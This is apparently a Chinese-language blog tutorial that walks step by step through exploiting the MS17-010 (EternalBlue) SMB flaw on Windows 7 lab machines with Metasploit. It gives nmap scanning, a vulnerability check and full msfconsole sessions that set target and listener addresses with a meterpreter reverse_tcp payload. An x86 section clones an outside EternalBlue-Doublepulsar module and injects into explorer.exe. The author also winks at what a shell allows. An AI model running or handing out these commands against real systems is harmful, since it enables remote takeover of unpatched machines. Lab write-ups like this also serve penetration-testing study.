通过Metasploit实现对MS17-010漏洞的利用

by LauCyun Oct 14,2017 13:56:06 48,219 views

MS17-010是什么想必大家都不陌生了,前段时间Shadow Broker披露的Windows漏洞,影响Windows 7和Windows Server 2008大部分版本系统。最近一直没啥时间试试,今天晚上终于找到了合适的时间。

0x01 准备

实验环境:

攻击机:

  • 系统:Kali Linux
  • IP地址:192.168.0.112
  • 工具:
    • Metasploit
    • nmap

靶机1:

  • 系统:Windows 7 sp1 x64
  • IP地址:192.168.0.152

靶机2:

  • 系统:Windows 7 sp1 x86
  • IP地址:192.168.0.164

查找msf中关于MS17-010的模块,如图1所示:

/static/upload/article/2018/06/15/msf_modules.png
图1 MS17-010模块

0x02 扫描检测

先用nmap对靶机进行端口扫描,扫描命令如下:

nmap -sS -O 192.168.0.152

扫描结果如图2所示:


图2 nmap扫描结果

Ok,从图2中可以初步得出可以使用MS17-010漏洞,那么接下来就是通过msf对MS17-010漏洞进行验证,命令如下:

msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.0.152
msf auxiliary(scanner/smb/smb_ms17_010) > exploit 

检测结果如图3所示:


图3 检测结果

如图3所示,说明主机192.168.0.152存在MS17-010漏洞。

0x03 漏洞利用

从上面验证了主机 192.168.0.152 存在MS17-010漏洞,下面可以开始利用了。

msf利用过程如下:

msf > use exploit/windows/smb/ms17_010_eternalblue 
msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.0.152
rhost => 192.168.0.152
msf exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.0.112
lhost => 192.168.0.112
msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) >

接着查看当前配置的Payload,如图4所示:


图4 payload

现在炮和炮弹都准备好了,那就发射吧~

如果不出意外的,就如图5所示:


图5 攻击

从上面可以看到我们已经拿到一个meterpreter。。。

然后,获取Shell权限,如图6所示:


图5 获取shell权限

拿到Shell权限就可以***,你懂得Shushing FaceCrazy Face

0x04 补充(x86平台下失败的解决方法)

msf自带的利用模块只针对x64版本的操作系统,而对于x86版本的系统却失效,不过可以使用https://git.laucyun.com/security/Eternalblue-Doublepulsar-Metasploit.git来解决。

先将脚本克隆到本地,如下:

cd /root
git clone https://git.laucyun.com/security/Eternalblue-Doublepulsar-Metasploit.git

然后把eternalblue_doublepulsar.rb复制到/usr/share/metasploit-framework/modules/exploits/windows/smb目录中。

需要注意的是如果本机是Kali 64位的需要安装wine32,安装方法如下:

dpkg --add-architecture i386 && apt-get update && apt-get install wine32

而且全程操作需要在root下面,安装完wine32后执行一下wine cmd.exe这样会自动在/root下面创建.wine目录。

这样既可以使用了,具体命令如下:

msf > use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(windows/smb/eternalblue_doublepulsar) > set DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar-Metasploit/deps/
DOUBLEPULSARPATH => /root/Eternalblue-Doublepulsar-Metasploit/deps/
msf exploit(windows/smb/eternalblue_doublepulsar) > set ETERNALBLUEPATH /root/Eternalblue-Doublepulsar-Metasploit/deps/
ETERNALBLUEPATH => /root/Eternalblue-Doublepulsar-Metasploit/deps/
msf exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT explorer.exe
PROCESSINJECT => explorer.exe
msf exploit(windows/smb/eternalblue_doublepulsar) > set TARGETARCHITECTURE x86
TARGETARCHITECTURE => x86
msf exploit(windows/smb/eternalblue_doublepulsar) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows XP (all services pack) (x86) (x64)
   1   Windows Server 2003 SP0 (x86)
   2   Windows Server 2003 SP1/SP2 (x86)
   3   Windows Server 2003 (x64)
   4   Windows Vista (x86)
   5   Windows Vista (x64)
   6   Windows Server 2008 (x86) 
   7   Windows Server 2008 R2 (x86) (x64)
   8   Windows 7 (all services pack) (x86) (x64)


msf exploit(windows/smb/eternalblue_doublepulsar) > set target 8
target => 8
msf exploit(windows/smb/eternalblue_doublepulsar) > set rhost 192.168.0.164
rhost => 192.168.0.164
msf exploit(windows/smb/eternalblue_doublepulsar) > set lhost 192.168.0.112
lhost => 192.168.0.112
msf exploit(windows/smb/eternalblue_doublepulsar) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/eternalblue_doublepulsar) > 

接着查看当前配置的Payload,如图6所示:


图6 payload

不出意外的话,攻击会成功~

0x05 参考

Tags